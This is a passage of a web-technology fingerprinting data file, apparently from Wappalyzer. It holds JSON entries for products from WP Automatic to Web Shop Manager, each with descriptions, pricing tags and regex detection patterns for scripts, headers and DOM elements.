Themes.svg\",\n    \"js\": {\n      \"signifyOptions\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wenthemes.com/item/wordpress-themes/signify-dark\"\n  },\n  \"WHMCS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"WHMCS is an automation platform that simplifies and automates all aspects of operating an online web hosting and domain registrar business.\",\n    \"icon\": \"WHMCS.svg\",\n    \"js\": {\n      \"WHMCS\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.whmcs.com\"\n  },\n  \"WOW\": {\n    \"cats\": [\n      12,\n      18,\n      25\n    ],\n    \"description\": \"Reveal CSS animation as you scroll down a page.\",\n    \"oss\": true,\n    \"pricing\": [\n      \"low\",\n      \"onetime\"\n    ],\n    \"scriptSrc\": [\n      \"wow(?:\\\\.min)?\\\\.js(?:\\\\?ver=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.delac.io/WOW\"\n  },\n  \"WP Automatic\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"WP Automatic is a WordPress plugin that automates the process of creating posts on your WordPress site by automatically fetching content from various sources like RSS feeds, Amazon, eBay, ClickBank, and more.\",\n    \"icon\": \"WP Automatic.svg\",\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/wp-automatic/\"\n    ],\n    \"website\": \"https://wpautomatic.com\"\n  },\n  \"WP Courseware\": {\n    \"cats\": [\n      87,\n      21\n    ],\n    \"description\": \"WP Courseware is an LMS plugin that allows novice and professional users to build online courses using its easy-to-use drag and drop course builder.\",\n    \"icon\": \"WP Courseware.svg\",\n    \"js\": {\n      \"wpcw_course_note_params.api_url\": \"/wp-json/wpcw/\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/wp-courseware/.+frontend\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://flyplugins.com/wp-courseware-wordpress-lms\"\n  },\n  \"WP Engine\": {\n    \"cats\": [\n      62,\n      88\n    ],\n    \"description\": \"WP Engine is a website hosting provider.\",\n    \"headers\": {\n      \"X-Pass-Why\": \"\",\n      \"X-Powered-By\": \"WP Engine\",\n      \"X-WPE-Loopback-Upstream-Addr\": \"\",\n      \"wpe-backend\": \"\"\n    },\n    \"icon\": \"wpengine.svg\",\n    \"implies\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wpengine.com\"\n  },\n  \"WP Fastest Cache\": {\n    \"cats\": [\n      87,\n      92\n    ],\n    \"description\": \"WP Fastest Cache is one of a number of plugins for WordPress designed to accelerate the performance of your website.\",\n    \"dom\": [\n      \"link[href*='/wp-content/cache/wpfc-minified/']\"\n    ],\n    \"icon\": \"WP Fastest Cache.png\",\n    \"js\": {\n      \"Wpfcll\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/cache/wpfc-minified/\"\n    ],\n    \"website\": \"https://www.wpfastestcache.com\"\n  },\n  \"WP Featherlight\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"WP Featherlight is a WordPress lightbox plugin for adding a minimal, high-performance, responsive jQuery lightbox to your WordPress website.\",\n    \"icon\": \"WP_Featherlight.svg\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wpFeatherlight\\\\.pkgd\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/wp-featherlight\"\n  },\n  \"WP Google Map Embed\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"WP Google Map Embed is a lightweight WordPress plugin for embedding Google Maps with custom markers via shortcodes in posts, pages, and sidebars.\",\n    \"dom\": [\n      \"link#wp-gmap-embed-front-css-css\"\n    ],\n    \"icon\": \"WP Google Map Embed.svg\",\n    \"implies\": [\n      \"Google Maps\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wpgooglemap.com\"\n  },\n  \"WP Google Map Plugin\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"WP Google Map Plugin allows you to create google maps shortcodes to display responsive google maps on pages, widgets and custom templates.\",\n    \"icon\": \"WP Google Map Plugin.png\",\n    \"implies\": [\n      \"Google Maps\"\n    ],\n    \"js\": {\n      \"wpgmp_local\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/wp-google-map-plugin/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.wpmapspro.com\"\n  },\n  \"WP Grid Builder\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"WP Grid Builder is a WordPress plugin that enables the creation of advanced grid layouts.\",\n    \"icon\": \"WpGridBuilder.svg\",\n    \"js\": {\n      \"WP_Grid_Builder\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/wp-grid-builder/frontend/assets/js/layout\\\\.js\\\\?ver=([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wpgridbuilder.com\"\n  },\n  \"WP Job Openings\": {\n    \"cats\": [\n      87,\n      101\n    ],\n    \"description\": \"WP Job Openings is a job listing and recruitment plugin for WordPress websites.\",\n    \"icon\": \"WP Job Openings.svg\",\n    \"js\": {\n      \"awsmJobs\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/wp-job-openings/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wpjobopenings.com\"\n  },\n  \"WP Live Visitor Counter\": {\n    \"cats\": [\n      87,\n      5\n    ],\n    \"description\": \"WP Live Visitor Counter is a WordPress plugin that displays the number of online visitors on a website in real-time.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/wp-visitors-widget/']\"\n    ],\n    \"icon\": \"default.svg\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/wp-visitors-widget/\"\n  },\n  \"WP Maintenance Mode\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"WP Maintenance Mode is a WordPress plugin which add a maintenance page to your blog.\",\n    \"icon\": \"WP Maintenance Mode.png\",\n    \"js\": {\n      \"wpmm_vars\": \"\"\n    },\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/wp-maintenance-mode/.+wpmm\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/andrianvaleanu/WP-Maintenance-Mode\"\n  },\n  \"WP Portfolio\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"WP Portfolio is a premium standalone WordPress plugin designed for creating and showcasing portfolios.\",\n    \"icon\": \"WP Portfolio.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/astra-portfolio/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wpportfolio.net\"\n  },\n  \"WP Puzzle Basic\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"WP Puzzle Basic is fully responsive, clean and minimal WordPress theme.\",\n    \"icon\": \"WP Puzzle.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/basic/\"\n    ],\n    \"website\": \"https://wp-puzzle.com/basic\"\n  },\n  \"WP Rocket\": {\n    \"cats\": [\n      23,\n      87\n    ],\n    \"description\": \"WP Rocket is a caching and performance optimisation plugin to improve the loading speed of WordPress websites.\",\n    \"dom\": [\n      \"style#wpr-usedcss\"\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"WP Rocket(?:/([\\\\d.]+))?\\\\;version:\\\\1\",\n      \"X-Rocket-Nginx-Bypass\": \"\"\n    },\n    \"html\": [\n      \"<!--[^>]+WP Rocket\"\n    ],\n    \"icon\": \"WP Rocket.svg\",\n    \"js\": {\n      \"RocketLazyLoadScripts\": \"\",\n      \"RocketPreloadLinksConfig\": \"\",\n      \"rocket_lazy\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/wp-rocket/\"\n    ],\n    \"website\": \"https://wp-rocket.me\"\n  },\n  \"WP-Optimize\": {\n    \"cats\": [\n      87,\n      92\n    ],\n    \"description\": \"WP-Optimize is an all-in-one WordPress plugin that cleans your database, compresses your large images and caches your site.\",\n    \"html\": [\n      \"<!--[^>]+Cached by WP-Optimize\"\n    ],\n    \"icon\": \"WP-Optimize.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://getwpo.com\"\n  },\n  \"WP-PageNavi\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"WP-PageNavi is a WordPress plugin which adds a more advanced paging navigation interface to your WordPress blog.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/wp-pagenavi/']\"\n    ],\n    \"icon\": \"WP-PageNavi.svg\",\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://github.com/lesterchan/wp-pagenavi\"\n  },\n  \"WP-Royal Ashe\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"WP-Royal Ashe is a personal and multi-author WordPress blog theme.\",\n    \"dom\": [\n      \"link#ashe-style-css\"\n    ],\n    \"icon\": \"WP-Royal.svg\",\n    \"js\": {\n      \"ashePreloader\": \"\",\n      \"asheStickySidebar\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/ashe(?:-pro-premium)?/\"\n    ],\n    \"website\": \"https://wp-royal.com/themes/item-ashe-free\"\n  },\n  \"WP-Royal Bard\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"WP-Royal Bard is a personal and multi-author WordPress blog theme.\",\n    \"dom\": [\n      \"link#bard-style-css, style#bard_predefined_custom_css\"\n    ],\n    \"icon\": \"WP-Royal.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/bard(?:-pro-premium)?/\"\n    ],\n    \"website\": \"https://wp-royal.com/themes/item-bard-free\"\n  },\n  \"WP-Statistics\": {\n    \"cats\": [\n      10,\n      87\n    ],\n    \"description\": \"WP-Statistics is a WordPress plugin which allows you to know your website statistics.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/wp-statistics/']\"\n    ],\n    \"html\": [\n      \"<!-- Analytics by WP-Statistics v([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"WP-Statistics.svg\",\n    \"js\": {\n      \"WP_Statistics_http\": \"\",\n      \"wps_statistics_object\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wp-statistics.com\"\n  },\n  \"WPCacheOn\": {\n    \"cats\": [\n      23,\n      87\n    ],\n    \"description\": \"WPCacheOn is a caching and performance optimisation plugin, which improves the loading speed of WordPress websites.\",\n    \"headers\": {\n      \"x-powered-by\": \"^Optimized by WPCacheOn\"\n    },\n    \"icon\": \"WPCacheOn.svg\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wpcacheon.io\"\n  },\n  \"WPForms\": {\n    \"cats\": [\n      87,\n      110\n    ],\n    \"cpe\": \"cpe:2.3:a:wpforms:wpforms:*:*:*:*:pro:wordpress:*:*\",\n    \"description\": \"WPForms is a drag and drop WordPress form builder.\",\n    \"icon\": \"WPForms.svg\",\n    \"js\": {\n      \"wpforms\": \"\",\n      \"wpforms_settings\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/wpforms(?:-lite)?/.+(?:frontend\\\\.min|wpforms)\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wpforms.com\"\n  },\n  \"WPML\": {\n    \"cats\": [\n      87,\n      89\n    ],\n    \"cookies\": {\n      \"wp-wpml_current_language\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:wpml:wpml:*:*:*:*:*:wordpress:*:*\",\n    \"description\": \"WPML plugin makes it possible to build and run fully multilingual WordPress sites.\",\n    \"icon\": \"WPML.svg\",\n    \"meta\": {\n      \"generator\": \"^WPML\\\\sver\\\\:([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/sitepress-multilingual-cms/\"\n    ],\n    \"website\": \"https://wpml.org/\"\n  },\n  \"WPMU DEV Smush\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"WPMU DEV Smush is a WordPress plugin that allows you to optimise images without losing quality.\",\n    \"icon\": \"WPMU DEV.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/wp-smushit(?:-pro)?/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wpmudev.com/project/wp-smush-pro\"\n  },\n  \"WPS Visitor Counter\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"WPS Visitor Counter is a plugin for WordPress that counts the number of visitors to a website.\",\n    \"icon\": \"WPS Visitor Counter.png\",\n    \"js\": {\n      \"wpspagevisit\": \"\"\n    },\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/wps-visitor-counter/\"\n  },\n  \"Wabi\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Wabi is a platform facilitating customer engagement through WhatsApp.\",\n    \"icon\": \"Wabi.svg\",\n    \"js\": {\n      \"Wabi\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.wabi-app\\\\.com/\"\n    ],\n    \"website\": \"https://wabi-app.com\"\n  },\n  \"Wagtail\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:torchbox:wagtail:*:*:*:*:*:*:*:*\",\n    \"description\": \"Wagtail is a Django content management system (CMS) focused on flexibility and user experience.\",\n    \"dom\": {\n      \"[data-block-key]\": {\n        \"attributes\": {\n          \"data-block-key\": \"^[a-z0-9]{5}$\"\n        }\n      },\n      \"[style*='images/']\": {\n        \"attributes\": {\n          \"style\": \"(?:\\\\.[a-z]+|/media)(?:/[\\\\w-]+)?/(?:original_images/[\\\\w-]+|images/[\\\\w\\\\-.]+\\\\.(?:(?:fill|max|min)-\\\\d+x\\\\d+(?:-c\\\\d+)?|(?:width|height|scale)-\\\\d+|original))\\\\.\"\n        }\n      },\n      \"img[src*='images/']\": {\n        \"attributes\": {\n          \"src\": \"(?:\\\\.[a-z]+|/media)(?:/[\\\\w-]+)?/(?:original_images/[\\\\w-]+|images/[\\\\w\\\\-.]+\\\\.(?:(?:fill|max|min)-\\\\d+x\\\\d+(?:-c\\\\d+)?|(?:width|height|scale)-\\\\d+|original))\\\\.\"\n        }\n      },\n      \"img[srcset*='images/'], source[srcset*='images/']\": {\n        \"attributes\": {\n          \"srcset\": \"(?:\\\\.[a-z]+|/media)(?:/[\\\\w-]+)?/(?:original_images/[\\\\w-]+|images/[\\\\w\\\\-.]+\\\\.(?:(?:fill|max|min)-\\\\d+x\\\\d+(?:-c\\\\d+)?|(?:width|height|scale)-\\\\d+|original))\\\\.\"\n        }\n      },\n      \"meta[content*='images/']\": {\n        \"attributes\": {\n          \"content\": \"(?:\\\\.[a-z]+|/media)(?:/[\\\\w-]+)?/(?:original_images/[\\\\w-]+|images/[\\\\w\\\\-.]+\\\\.(?:(?:fill|max|min)-\\\\d+x\\\\d+(?:-c\\\\d+)?|(?:width|height|scale)-\\\\d+|original))\\\\.\"\n        }\n      },\n      \"style, script\": {\n        \"text\": \"(?:\\\\.[a-z]+|/media)(?:/[\\\\w-]+)?/(?:original_images/[\\\\w-]+|images/[\\\\w\\\\-.]+\\\\.(?:(?:fill|max|min)-\\\\d+x\\\\d+(?:-c\\\\d+)?|(?:width|height|scale)-\\\\d+|original))\\\\.\"\n      },\n      \"video[poster*='images/']\": {\n        \"attributes\": {\n          \"poster\": \"(?:\\\\.[a-z]+|/media)(?:/[\\\\w-]+)?/(?:original_images/[\\\\w-]+|images/[\\\\w\\\\-.]+\\\\.(?:(?:fill|max|min)-\\\\d+x\\\\d+(?:-c\\\\d+)?|(?:width|height|scale)-\\\\d+|original))\\\\.\"\n        }\n      }\n    },\n    \"icon\": \"Wagtail.svg\",\n    \"implies\": [\n      \"Django\",\n      \"Python\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://wagtail.org\"\n  },\n  \"Wair\": {\n    \"cats\": [\n      76,\n      5\n    ],\n    \"description\": \"Wair is the widget to personalised fit.\",\n    \"icon\": \"Wair.svg\",\n    \"js\": {\n      \"PredictV3.default.version\": \"([\\\\d.]+)\\\\;version:\\\\1\",\n      \"predictWidget\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"getwair\\\\.com\"\n    ],\n    \"website\": \"https://getwair.com\"\n  },\n  \"Waitlist\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Waitlist is a web-based tool that helps businesses to create a waitlist for their product or service.\",\n    \"icon\": \"Waitlist.svg\",\n    \"js\": {\n      \"gw_backend_url\": \"//api\\\\.getwaitlist\\\\.com/\",\n      \"gw_waitlist_name\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.getwaitlist.com\"\n  },\n  \"Wakav Performance Monitoring\": {\n    \"cats\": [\n      78\n    ],\n    \"description\": \"Wakav Performance Monitoring is a real user monitoring (RUM), Web/App performance and availability test platform.\",\n    \"icon\": \"Wakav Performance Monitoring.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"rum\\\\.wakav\\\\.ir/\"\n    ],\n    \"website\": \"https://www.wakav.ir\"\n  },\n  \"Wake Commerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Wake Commerce is a headless ecommerce platform.\",\n    \"dom\": [\n      \"link[href*='.fbitsstatic.net/']\"\n    ],\n    \"icon\": \"Wake.svg\",\n    \"js\": {\n      \"Fbits\": \"\",\n      \"fbits\": \"\",\n      \"fbitsSearch\": \"\",\n      \"fbitsSearchConfig\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"requires\": [\n      \"Cart Functionality\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://wake.tech/wake-commerce\"\n  },\n  \"WalkMe\": {\n    \"cats\": [\n      58\n    ],\n    \"description\": \"WalkMe is a cloud-based interactive guidance and engagement platform.\",\n    \"dom\": [\n      \"link[href*='.walkme.com']\"\n    ],\n    \"icon\": \"WalkMe.svg\",\n    \"js\": {\n      \"WalkMeAPI\": \"\",\n      \"_walkmeConfig\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.walkme.com\"\n  },\n  \"Wallkit\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Wallkit is a plug-and-play subscription management system.\",\n    \"icon\": \"Wallkit.svg\",\n    \"js\": {\n      \"WALLKIT_CDN_URL\": \"\\\\.wallkit\\\\.net\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.wallkit\\\\.net/js/integration/latest/wallkit-integration-library\\\\.min\\\\.js\\\\?ver=([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wallkit.net\"\n  },\n  \"Wangsu\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"Wangsu is a China-based company that provides content delivery network and internet data center services.\",\n    \"icon\": \"Wangsu.svg\",\n    \"js\": {\n      \"__cdnRoute\": \"^wangsu$\",\n      \"playurl.wangsu\": \"\"\n    },\n    \"website\": \"https://en.wangsu.com\"\n  },\n  \"Warp\": {\n    \"cats\": [\n      22\n    ],\n    \"headers\": {\n      \"Server\": \"^Warp/(\\\\d+(?:\\\\.\\\\d+)+)?$\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Warp.png\",\n    \"implies\": [\n      \"Haskell\"\n    ],\n    \"website\": \"https://www.stackage.org/package/warp\"\n  },\n  \"Warp Store\": {\n    \"cats\": [\n      108\n    ],\n    \"description\": \"Warp Store is a website creation platform, where you can create a website for any type of game and sell products automatically.\",\n    \"dom\": [\n      \"link[href*='.warpstore.app/']\"\n    ],\n    \"icon\": \"WarpStore.svg\",\n    \"implies\": [\n      \"Next.js\",\n      \"React\",\n      \"Node.js\",\n      \"Cloudflare\",\n      \"Tailwind CSS\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.warpstore\\\\.app/\"\n    ],\n    \"website\": \"https://warpstore.app\"\n  },\n  \"Wask\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Wask is a platform that offers businesses a dedicated library code to analyse website visitors, track visitor behaviour, monitor website events, and gather retention cohort data effectively.\",\n    \"icon\": \"Wask.svg\",\n    \"js\": {\n      \"wask_analytics\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.wask.co\"\n  },\n  \"WatchThem\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"WatchThem is a behavioural tool that allows website owners to view video recordings of their visitors' journeys on their website.\",\n    \"icon\": \"WatchThem.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.watchthem\\\\.live/\"\n    ],\n    \"website\": \"https://watchthem.live\"\n  },\n  \"Wati\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Wati is a WhatsApp Business API platform facilitating multiple-agent customer support.\",\n    \"icon\": \"Wati.svg\",\n    \"js\": {\n      \"wati_options\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"wati-integration-prod-service\\\\.clare\\\\.ai/\"\n    ],\n    \"website\": \"https://www.wati.io\"\n  },\n  \"Waveform\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Waveform is a media player that supports various media formats, including audio, video, Youtube, and Vimeo, and includes a waveform visualisation feature, utilising Web Audio API and HTML5 Canvas technologies.\",\n    \"icon\": \"Waveme.svg\",\n    \"js\": {\n      \"Waveform\": \"\"\n    },\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://music.flatfull.com/waveme/about/\"\n  },\n  \"Waveme\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Waveme is a WordPress theme that is suitable for individuals or businesses involved in the music industry, such as music producers, record labels, artist managers, or independent artists.\",\n    \"dom\": [\n      \"link[href*='/wp-content/themes/waveme/']\"\n    ],\n    \"icon\": \"Waveme.svg\",\n    \"implies\": [\n      \"Gutenberg\",\n      \"Waveform\"\n    ],\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://music.flatfull.com/waveme/about/\"\n  },\n  \"WayForPay\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"WayForPay is a payment processing service provider based in Europe.\",\n    \"dom\": [\n      \"form[action*='secure.wayforpay.com']\"\n    ],\n    \"icon\": \"WayForPay.svg\",\n    \"scriptSrc\": [\n      \"secure\\\\.wayforpay\\\\.com\"\n    ],\n    \"website\": \"https://wayforpay.com\"\n  },\n  \"Wazala\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Wazala is an ecommerce shopping cart solution, enabling users to open and manage online stores.\",\n    \"icon\": \"Wazala.svg\",\n    \"js\": {\n      \"WazalaWidget\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.wazala\\\\.com/\"\n    ],\n    \"website\": \"https://www.wazala.com\"\n  },\n  \"Wazimo\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Wazimo is a digital media company focused on combining engaging content with advanced real-time tendering (RTB) capabilities.\",\n    \"icon\": \"wazimo.svg\",\n    \"js\": {\n      \"wz.mmConfig.buildVersion\": \"\"\n    },\n    \"website\": \"https://wazimo.com\"\n  },\n  \"WeTravel\": {\n    \"cats\": [\n      104\n    ],\n    \"description\": \"WeTravel is a platform providing booking and payment solutions tailored for travel companies.\",\n    \"dom\": [\n      \"link[href*='cdn.wetravel.com/']\"\n    ],\n    \"icon\": \"WeTravel.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.wetravel\\\\.com/\"\n    ],\n    \"website\": \"https://www.wetravel.com\"\n  },\n  \"WeWeb\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"WeWeb is a no-code front-end builder that allows customers to build on-top of any back-end.\",\n    \"icon\": \"WeWeb.svg\",\n    \"js\": {\n      \"wwg_designInfo.wewebPreviewURL\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.weweb.io\"\n  },\n  \"Weaver Xtreme\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Weaver Xtreme is the orginal options-based WordPress theme.\",\n    \"dom\": [\n      \"link#weaverx-style-sheet-css\"\n    ],\n    \"icon\": \"Weaver Xtreme.png\",\n    \"js\": {\n      \"weaverxBottomFooter\": \"\",\n      \"weaverxMonitorContent\": \"\",\n      \"weaverxOnResize\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/weaver-xtreme/.+weaverxjslib-end\\\\.min\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://weavertheme.com\"\n  },\n  \"Weaverse\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Weaverse is a theme customizer and headless CMS for Shopify Hydrogen.\",\n    \"icon\": \"Weaverse.svg\",\n    \"js\": {\n      \"__weaverses\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://weaverse.io\"\n  },\n  \"Web Font Loader\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"WebFont Loader is a versatile JavaScript library that provides enhanced control and flexibility in managing web fonts.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/)?webfontloader(?:\\\\.min)?(?:[-\\\\.][\\\\d\\\\w]{0,32})?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/typekit/webfontloader\"\n  },\n  \"Web Shop Manager\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Web Shop Manager is an ecommerce and search platform for the automotive industry and markets with complex product catalogs.\",\n    